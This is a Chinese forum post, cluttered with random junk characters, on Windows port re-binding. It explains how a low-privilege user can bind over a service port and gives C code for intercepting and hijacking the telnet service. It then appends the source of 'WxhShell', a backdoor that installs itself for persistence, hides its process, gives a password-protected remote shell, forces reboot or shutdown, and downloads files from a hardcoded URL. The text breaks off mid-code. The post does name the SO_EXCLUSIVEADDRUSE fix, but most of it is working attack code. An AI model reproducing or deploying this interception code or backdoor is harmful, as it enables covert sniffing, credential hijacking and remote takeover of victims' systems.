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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z06,$OYz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~nfOV*  
w3);ZQ|  
  saddr.sin_family = AF_INET; $m2#oI 'D  
_ s3d$C?B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >WD HRC  
kexV~Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e7xBi!I)~  
Xi[]8o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n>j2$m1[  
:e;6oC*"q  
  这意味着什么?意味着可以进行如下的攻击: j_N<aX  
j7kX"nz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kF~(B]W(  
V@k+RniEO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .G!xcQ`?  
6Uk+a=Ar  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4hwb] Yz  
J#F5by%8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b2UDPW  
YxJQ^D`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :#^qn|{e  
nco.j:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hoqZb<:  
`HXv_9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PD0&ep1h7G  
bN zb#P#hP  
  #include 208^Yu  
  #include l X+~;94  
  #include i`r`Fj}-S-  
  #include    EXr2d"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nb&j?./  
  int main() EpMxq7*  
  { >U{iof<  
  WORD wVersionRequested; X_o#!  
  DWORD ret; iv *$!\Cd  
  WSADATA wsaData; xBTx`+%WS  
  BOOL val; D`a6D  
  SOCKADDR_IN saddr; Y|fD)zG_  
  SOCKADDR_IN scaddr; w_Slg&S  
  int err; )0exGx+:  
  SOCKET s; WT<}3(S'?  
  SOCKET sc; v-3VzAd=*&  
  int caddsize; K_)~&Cu*'  
  HANDLE mt; Yjc U2S"=P  
  DWORD tid;   7b>_vtrt  
  wVersionRequested = MAKEWORD( 2, 2 ); [:cD  
  err = WSAStartup( wVersionRequested, &wsaData ); ;kk[x8$  
  if ( err != 0 ) { Intuda7e1  
  printf("error!WSAStartup failed!\n"); b},2A'X  
  return -1; *O~y6|U?  
  } JfN '11,$  
  saddr.sin_family = AF_INET; y%i9 b&gDd  
   d/Q#Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F~ 5,-atDM  
.))j R:{3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3&^hf^yg  
  saddr.sin_port = htons(23); 7 mCf*|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "@eGgQ  
  { I0 ~'z f  
  printf("error!socket failed!\n"); Q /4-7  
  return -1; @c]KHWI  
  } Gg'!(]v  
  val = TRUE; ]i.N'O<p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QX<n^W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A,<5W }  
  { .Q!d[vL  
  printf("error!setsockopt failed!\n"); 0>BxS9?w  
  return -1; Z&Ob,Ru  
  } 1]Xx {j<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *gwlW/%Fz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9AVj/?kmU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MrHJ)x"hy  
wkx9@?2*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %@Gy<t,  
  { D#&9zR86F  
  ret=GetLastError(); LVB wWlJ  
  printf("error!bind failed!\n"); Hh^ "c}  
  return -1; =m2_:&@0x  
  } 6 H P 66B  
  listen(s,2); F;ttqL  
  while(1) tVAo o-%  
  { l|WFS  
  caddsize = sizeof(scaddr); 2@ZVEN  
  //接受连接请求 Nz2 VaZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 47Z3 nl?  
  if(sc!=INVALID_SOCKET) (2# Xa,pb  
  { 'M~`IN`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *ai~!TR  
  if(mt==NULL) $\NqD:fgb  
  { LsWD^JE.  
  printf("Thread Creat Failed!\n"); ruGJZAhIA^  
  break; q* R}yt5  
  } x8@ 4lxj  
  } \.mVLLtG  
  CloseHandle(mt); 2]mV9B   
  } S<i1t[E @W  
  closesocket(s); w&L~+ Z<  
  WSACleanup(); O.B9w+G=  
  return 0; 2/ 4zg  
  }   t <` As6}  
  DWORD WINAPI ClientThread(LPVOID lpParam) Nj4CkMM[3  
  { ]oV{JR]  
  SOCKET ss = (SOCKET)lpParam;  b M1\z  
  SOCKET sc; RdPk1?}K  
  unsigned char buf[4096]; i4|R0>b  
  SOCKADDR_IN saddr; \lQ3j8 U  
  long num; bIiun a\  
  DWORD val; y{@\8B]  
  DWORD ret; ?-)!dl%N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k 3m_L-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v'S]g^  
  saddr.sin_family = AF_INET; &K0b3AWc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `CVkjLiy  
  saddr.sin_port = htons(23); &'>m;W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kz42AC  
  { z='%NZY  
  printf("error!socket failed!\n"); 1GK.:s6.f  
  return -1; /X_L>or  
  } ]_h 3  
  val = 100; j2Dw7"f3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z+yq%O  
  { kZG.Id  
  ret = GetLastError(); kAEq +{h  
  return -1; 33DP?nI}  
  } +u Iq]tqe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kC.!cPd  
  { &qS%~h%2  
  ret = GetLastError(); u$R5Q{H_  
  return -1; BjfVNF;hk:  
  } I/njyV)H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $97O7j@  
  { /8e}c`  
  printf("error!socket connect failed!\n"); .1[.f}g$J  
  closesocket(sc); '{2]:  
  closesocket(ss); S&}7XjY  
  return -1; {d[Nc,AMb  
  } ~g=& wT11  
  while(1) @\&j3A  
  { T$lV+[7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  .+1I>L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z}$sY>E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |` :cB  
  num = recv(ss,buf,4096,0); gF p3=s0~  
  if(num>0) {ze69 h  
  send(sc,buf,num,0); G~1;_'  
  else if(num==0) !-OZ/^l|O`  
  break; !=:>yWQ  
  num = recv(sc,buf,4096,0); \B4H0f  
  if(num>0) h]s6)tI I  
  send(ss,buf,num,0); XA!a^@<H  
  else if(num==0) 3l?|+sU >O  
  break; M v (Pp  
  } SvSO?H!-  
  closesocket(ss); xJ$uoy3+  
  closesocket(sc); zTcz+3x  
  return 0 ; %8n<#0v-|4  
  } u*@R`,Y   
#<)[{+f[t  
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========================================================== UH>~Y N  
7_ix&oVI  
下边附上一个代码,,WXhSHELL z)C}}NH*!@  
4u iq'-  
========================================================== i6V$mhL  
w317]-n  
#include "stdafx.h" rQ* w3F?:  
)<V!lsUx'-  
#include <stdio.h> &Gh,ROo4  
#include <string.h> mj'~-$5T  
#include <windows.h> h7+"*fN  
#include <winsock2.h> Vx<{cHQQ  
#include <winsvc.h> DD=X{{;D\"  
#include <urlmon.h> ( 3B1X  
90}vFoy  
#pragma comment (lib, "Ws2_32.lib") s@{82}f~  
#pragma comment (lib, "urlmon.lib") Zeg'\&w0s  
ysOf=~ 1  
#define MAX_USER   100 // 最大客户端连接数 [nxYfER7  
#define BUF_SOCK   200 // sock buffer 4N,[Gs<7  
#define KEY_BUFF   255 // 输入 buffer *Vl#]81~  
KhWy  
#define REBOOT     0   // 重启 1TTS@\  
#define SHUTDOWN   1   // 关机 +1T>Ob;hk  
f)_<Ih\/7_  
#define DEF_PORT   5000 // 监听端口 LKvX~68  
# QwX|x{  
#define REG_LEN     16   // 注册表键长度 6c]4(%8  
#define SVC_LEN     80   // NT服务名长度 ^)9/Wz _x  
h/tCve3Z  
// 从dll定义API SOR\oZ7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nqH[ y0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zY\u" '4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PFp!T [)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qR cSB  
b~&cYk'  
// wxhshell配置信息 .fzyA5@l  
struct WSCFG { D 1.59mHsD  
  int ws_port;         // 监听端口 68?&`/t  
  char ws_passstr[REG_LEN]; // 口令 R_G2C@y*  
  int ws_autoins;       // 安装标记, 1=yes 0=no sX6\AYF1M  
  char ws_regname[REG_LEN]; // 注册表键名 y<6Sl6l*  
  char ws_svcname[REG_LEN]; // 服务名 @\F7nhSfa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E}4{{{r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9mHCms  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /UunWZ u%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %BC%fVdP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5 b rM..  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N>3{!K>/Y:  
OF<:BaRs/  
}; GImPPF  
^*l dsc  
// default Wxhshell configuration C2R"96M7q  
struct WSCFG wscfg={DEF_PORT, >e!J(4.-  
    "xuhuanlingzhe", KOe]JDU  
    1, Kv* 1=HES  
    "Wxhshell", ;cf$u}+  
    "Wxhshell", (KC08  
            "WxhShell Service", )>h3IR  
    "Wrsky Windows CmdShell Service", )*}\fmOv{  
    "Please Input Your Password: ", uH$hMg  
  1, !PoyM[Z"f  
  "http://www.wrsky.com/wxhshell.exe", =T3{!\tH  
  "Wxhshell.exe" (QIU3EN  
    }; Byw EoS  
pHR`%2!"t  
// 消息定义模块 \ R}I4'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gtH^'vFZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U $#^ e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2#$7!`6 K  
char *msg_ws_ext="\n\rExit."; H 2I  
char *msg_ws_end="\n\rQuit."; !KXcg9e  
char *msg_ws_boot="\n\rReboot..."; kq=Htbv7  
char *msg_ws_poff="\n\rShutdown..."; Q#yHH]U)X  
char *msg_ws_down="\n\rSave to "; mH;t)dT  
2n>mISy+  
char *msg_ws_err="\n\rErr!"; !jl^__ .DR  
char *msg_ws_ok="\n\rOK!"; I`B ZZ-  
P\ P=1NM  
char ExeFile[MAX_PATH]; xKL(:ePS  
int nUser = 0; ]u|FcwWc3  
HANDLE handles[MAX_USER]; I*U7YqDC9  
int OsIsNt; xb[yy}>"L  
?W ^`Fa)]o  
SERVICE_STATUS       serviceStatus; MMjewGxe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ):G+*3yb  
+>1Yp">?  
// 函数声明 x3'ANw6E  
int Install(void); ([$KXfAi]h  
int Uninstall(void); )xc1Lsrr9  
int DownloadFile(char *sURL, SOCKET wsh); ksU& q%1  
int Boot(int flag); 9u=]D> kb  
void HideProc(void); e?(4lD)d  
int GetOsVer(void); O~8jz  
int Wxhshell(SOCKET wsl); Wp = ]YO  
void TalkWithClient(void *cs); Yw=@*CK'  
int CmdShell(SOCKET sock); o&q:b9T  
int StartFromService(void); 3U?gw!M>  
int StartWxhshell(LPSTR lpCmdLine); W!el[@  
G :+D1J]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); % }b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w@WtW8 p^  
>Heuf"V  
// 数据结构和表定义 M"c=_5P  
SERVICE_TABLE_ENTRY DispatchTable[] = )LG!"~qiz  
{ &:d`Pik6  
{wscfg.ws_svcname, NTServiceMain}, zLr:zfl  
{NULL, NULL} -GL.8" c[  
}; b6e 2a/x  
^&F.T-(A  
// 自我安装 g[b;1$  
int Install(void) &gV9h>Kc#  
{ `Q+O#l?  
  char svExeFile[MAX_PATH]; 0p3) t  
  HKEY key; X..M!3W  
  strcpy(svExeFile,ExeFile); )sIzBC  
O:V.;q2]U  
// 如果是win9x系统,修改注册表设为自启动 &Kc45  
if(!OsIsNt) { Q.4+"JoG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {3os9r,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $!'Vn)Z7  
  RegCloseKey(key); 4t*VI<=<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w'i+WEU>l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BThrv$D}  
  RegCloseKey(key); ]S(nA!]  
  return 0; MYJDfI  
    } hHEn  
  } \o,et9zDJ3  
} Rz>@G>b:  
else { p*$=EomY  
(8S+-k?  
// 如果是NT以上系统,安装为系统服务 4nd)*0{ f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >PWDo  
if (schSCManager!=0) :`yW^b  
{ ,!AYeVq  
  SC_HANDLE schService = CreateService KdlUa^}D  
  ( V+' zuX  
  schSCManager, !Y^B{bh  
  wscfg.ws_svcname, _B 4 N2t$  
  wscfg.ws_svcdisp, :gkn`z  
  SERVICE_ALL_ACCESS, 0 n{+_   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r,,*kE  
  SERVICE_AUTO_START, 4tiCxf)  
  SERVICE_ERROR_NORMAL, bA"*^"^  
  svExeFile, B&3@b  
  NULL, 7'{%djL  
  NULL, sZa>+  
  NULL, !M6Km(>  
  NULL, a$11u.\q+  
  NULL oXwcil  
  ); 0a$hK9BH  
  if (schService!=0) 8(6mH'^y  
  { <UwA5X`0e.  
  CloseServiceHandle(schService); 8 =3#S'n  
  CloseServiceHandle(schSCManager); dr=KoAIxy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tdi}P/x  
  strcat(svExeFile,wscfg.ws_svcname); ltl(S Ii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hG/Z65`&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w\a9A#v,  
  RegCloseKey(key); @:u2{>Yl  
  return 0; 5)K?:7  
    } !\Q/~p'jS  
  } Y,%G5X@S<  
  CloseServiceHandle(schSCManager); W<H^V"^  
} ra\2BS)X  
} &2Cu"O'.i  
0j-;4>p  
return 1; 4mWT"T-8  
} aj]%c_])(  
0 KWi<G1  
// 自我卸载 y-7$HWn  
int Uninstall(void) KMkX0+Ao  
{ ~o/e0  
  HKEY key; A$'rT|>se  
x6~`{N1N M  
if(!OsIsNt) { %$(*.o!+8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0V#eC  
  RegDeleteValue(key,wscfg.ws_regname); L5>.ku=T  
  RegCloseKey(key); dLu3C-.(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kasx4m]^  
  RegDeleteValue(key,wscfg.ws_regname); _i&awm/U  
  RegCloseKey(key); OY#=s!] M  
  return 0; S$fCO$bU  
  } d,).O  
} T EqCoeR  
}  ^pZ\:  
else { =kWm9W<^  
<j89HtCz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !*|`-woE  
if (schSCManager!=0) !TuMrA *  
{ Si%K|$?@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Q(#2tL=  
  if (schService!=0) LMte,zs>  
  { -RnQ8Iu o  
  if(DeleteService(schService)!=0) { ~C],?X(zk  
  CloseServiceHandle(schService); itIzs99j  
  CloseServiceHandle(schSCManager); :~]ha  
  return 0; 9G}Crp  
  } J\kv}v  
  CloseServiceHandle(schService); "(#]H;!W  
  } ,n?oNU  
  CloseServiceHandle(schSCManager); `BHPj p>  
} W 7Y5~%@  
} Mi"dFx^Md  
E MKv)5MH  
return 1; du4Q^-repC  
} [L@ vC>G  
H@,(  
// 从指定url下载文件 U.QjB0;  
int DownloadFile(char *sURL, SOCKET wsh) KC{ HX?  
{ }<kpvd+ps=  
  HRESULT hr; m-No 8)2yA  
char seps[]= "/"; =h 2zIcj  
char *token; "S@%d(lg  
char *file; ~nG?>  
char myURL[MAX_PATH]; {__"Z<  
char myFILE[MAX_PATH]; ]`Y;4XR  
:X;' 37o#q  
strcpy(myURL,sURL); hpJi,4r.d  
  token=strtok(myURL,seps); YTpO4bX  
  while(token!=NULL) <$'OSN`!  
  { GoNX\^A  
    file=token; ,0=:06l  
  token=strtok(NULL,seps); "+V.Yue`R  
  } f=Rx8I  
n +z5;'my  
GetCurrentDirectory(MAX_PATH,myFILE); vrD]o1F  
strcat(myFILE, "\\"); $fA%_T_P'P  
strcat(myFILE, file); bO%bMZWB!y  
  send(wsh,myFILE,strlen(myFILE),0); Y_49UtJIg  
send(wsh,"...",3,0); f?1?$Sp/W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }l>0m  
  if(hr==S_OK) &8 ~+^P1w  
return 0; o4CgtqRs  
else |,89zTk'  
return 1; Fh4kd>1 D  
a$SGFA}V  
} 14p <0BG  
fWywegh  
// 系统电源模块 0x\bDWZ_  
int Boot(int flag) T Prqb  
{ Gt^Fj&^  
  HANDLE hToken; OXuBtW*,z+  
  TOKEN_PRIVILEGES tkp; q8{) 27f,  
C-abc+/  
  if(OsIsNt) { UmSy p\i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K$dSg1t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |A#pG^  
    tkp.PrivilegeCount = 1; @e_ bG@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lXS.,#lp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T8 ,?\7)S9  
if(flag==REBOOT) { !giL~}j(R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y pv~F  
  return 0; OFTyN^([@  
} kw>W5tNpf:  
else { I=)u:l c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0[JJ  
  return 0; Oozt&* F  
} YULI y-W  
  } CD'.bFO^+T  
  else { *eAsA(;  
if(flag==REBOOT) { Yp1;5Bbp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EencMi7J  
  return 0; c-L1 Bkw  
} B6&;nU>;  
else { %EuJ~;x(Mg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %OeA"#  
  return 0; lU0'5!3R,  
} w NlC2is  
} mjDaus59  
|?=K'[ 5  
return 1; 0wCJNXm  
} -rSp gk0wL  
r(W=1e'  
// win9x进程隐藏模块 J2M[aibV  
void HideProc(void) F(J6 XnQ  
{ }]ak6'|[  
>TT4;ph  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x t7ZrT  
  if ( hKernel != NULL ) /G`'9cD  
  { 3,2|8Q,((!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E({W`b~_f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); < `r+ZyM  
    FreeLibrary(hKernel); =ILE/ pC-|  
  } *"\QR>n   
f D<9k  
return; Fy^=LrH=D  
} LE!xj 0  
Tji G!W8  
// 获取操作系统版本 qU(,q/l  
int GetOsVer(void) YL_M=h>P  
{ |N%?7PZ(  
  OSVERSIONINFO winfo; fz[o;GTc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]o18oY(  
  GetVersionEx(&winfo); #"J8]3\F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3":vjDq$  
  return 1; t'e1r&^:r~  
  else .tv'`  
  return 0; /gWaxR*m  
} 6;WfsG5  
uHj"nd13  
// 客户端句柄模块 OT[&a6_  
int Wxhshell(SOCKET wsl) o}q>oa b z  
{ a:*8SovI  
  SOCKET wsh; ]W^F!p~eC  
  struct sockaddr_in client; WC6yQSnY&  
  DWORD myID; z ;>xI~  
,Jm2|WKH  
  while(nUser<MAX_USER) $]v=2j  
{ CatbEXO  
  int nSize=sizeof(client); $on"@l%U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =hZ#Z]f  
  if(wsh==INVALID_SOCKET) return 1; TI^W=5W@@  
} + ]A?'&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HjCWsQM  
if(handles[nUser]==0) km@V|"ac _  
  closesocket(wsh); vS#Y,H:yAj  
else pZo:\n5o  
  nUser++; |]--sUx:  
  } BG>fLp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -MEp0  
hk6(y?#  
  return 0; !&'GWQY{(  
} w; [ndZCY7  
[Dr'  
// 关闭 socket BvQMq5&  
void CloseIt(SOCKET wsh) 1b^e4  
{ rC`pTN  
closesocket(wsh); _{Q)5ooP  
nUser--; U"nk AW  
ExitThread(0); ,%)O/{p_  
} &8p]yo2zO  
_yH{LUIj  
// 客户端请求句柄 =E6ND8l@2  
void TalkWithClient(void *cs) ]Sj<1tx7f  
{ M]c"4 b;  
c`S`.WID  
  SOCKET wsh=(SOCKET)cs; in-|",O`Z  
  char pwd[SVC_LEN]; tu5g> qb  
  char cmd[KEY_BUFF]; " pg5w  
char chr[1]; > 2)@(f~g  
int i,j; 9:DT+^BB  
3K;V3pJ].  
  while (nUser < MAX_USER) { Db:^Omw o  
73Zx`00  
if(wscfg.ws_passstr) { JWZG)I]r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =VC"X?N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GkwdBy+  
  //ZeroMemory(pwd,KEY_BUFF); /!7    
      i=0; b suGZ  
  while(i<SVC_LEN) { z) :LF<  
b/[$bZD5o  
  // 设置超时 v2w|?26Lf  
  fd_set FdRead; `O+}$wP  
  struct timeval TimeOut; JM&`&fsOC{  
  FD_ZERO(&FdRead); o >wty3l:  
  FD_SET(wsh,&FdRead); ]rNM3@bVy  
  TimeOut.tv_sec=8; 2:5Go  
  TimeOut.tv_usec=0; ]|m?pt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >X@4wP 7l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "SMRvi57T  
hFMJDGCw>Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ke2zxX2 f  
  pwd=chr[0]; U/}("i![Dy  
  if(chr[0]==0xd || chr[0]==0xa) { _*l+ze[a  
  pwd=0; >H r&F nh+  
  break; ~ 3!yd0 [k  
  } @\*`rl]  
  i++; .ZOG,h+8  
    } WswM5RN  
_cc3 7[  
  // 如果是非法用户,关闭 socket 8SZZ_tS3r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hkpS}*L9o  
} uSsP'qd  
5q^5DH_;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *x!j:/S`n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B~ ?R 6  
h5)4Z^n  
while(1) { a!@(bb z>  
SO|!x}GfI  
  ZeroMemory(cmd,KEY_BUFF); D6I-:{ws  
m|uVmg!*  
      // 自动支持客户端 telnet标准   FOyANN'  
  j=0; wC>}9OM  
  while(j<KEY_BUFF) { ;No i H&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7|@FN7]5NF  
  cmd[j]=chr[0]; MZrLLnl6\  
  if(chr[0]==0xa || chr[0]==0xd) { y&n-8L_  
  cmd[j]=0; */_$' /q V  
  break; `w8Ejm?n  
  } ?]%ZJd  
  j++; >b7Yk)[%  
    } xe4`D>LUo  
m2a [ E0  
  // 下载文件 Kj7 ?_o{  
  if(strstr(cmd,"http://")) { +B '<0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /$\N_`bM  
  if(DownloadFile(cmd,wsh)) P7 h^!a/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)j3YhY  
  else :R'={0Jg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2^X<n{0N)  
  } \b;z$P\+*  
  else { qV#,]mX  
(VM.]B<  
    switch(cmd[0]) { G_QV'zQ  
  <YM!K8hu$  
  // 帮助 P<CPA7K  
  case '?': { %jo,Gv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3,"G!0 y.  
    break; swz)gh-*  
  } 5E#8F  
  // 安装 Dn l|B\  
  case 'i': { }~v&  
    if(Install()) tjLG$M1z`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8"Zru  
    else z8dBfA<z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N0pA ,&  
    break; ;S9 z@`a.  
    } *L&|4|BF2  
  // 卸载 lqcPV) n  
  case 'r': { +<T361eyY  
    if(Uninstall()) <CcSChCg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hRQw]  
    else v =_Ds<6n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); en"\2+{Cg  
    break; }U^iVq*  
    } Xf;_r+;  
  // 显示 wxhshell 所在路径 mwMcAUD]2  
  case 'p': { jA? 7>"|  
    char svExeFile[MAX_PATH]; yR% l[/ X  
    strcpy(svExeFile,"\n\r"); 6T5\zInd  
      strcat(svExeFile,ExeFile); )GfL?'Z  
        send(wsh,svExeFile,strlen(svExeFile),0); sB*!Nf^y  
    break; v'Pbx  
    } Nh01NY;  
  // 重启 rMoz+{1A  
  case 'b': { 58t_j54  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,`8:@<e  
    if(Boot(REBOOT)) E#E&z(G2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^U6VJ(58P  
    else { A6 I^`0/  
    closesocket(wsh); @8Cja.H  
    ExitThread(0); <M,<|Y*)  
    } ~J0r%P  
    break; Y 8-;eqH  
    } OWp`Wat  
  // 关机 b%h.>ij?  
  case 'd': { _4 YT2k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u"F{cA!B  
